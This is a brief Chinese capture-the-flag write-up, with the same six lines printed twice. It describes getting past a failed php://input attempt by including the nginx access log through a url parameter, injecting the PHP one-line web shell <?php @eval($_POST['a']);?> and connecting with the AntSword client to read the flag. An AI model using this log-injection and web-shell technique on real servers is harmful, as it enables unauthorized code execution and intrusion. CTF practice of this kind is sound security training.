使用php://input 不行
使用日志注入
查看日志的默认目录,得到了日志文件
?url=/var/log/nginx/access.log
进行日志注入
<?php @eval($_POST['a']);?>
使用蚁剑连接得到flag
使用php://input 不行
使用日志注入
查看日志的默认目录,得到了日志文件
?url=/var/log/nginx/access.log
进行日志注入
<?php @eval($_POST['a']);?>
使用蚁剑连接得到flag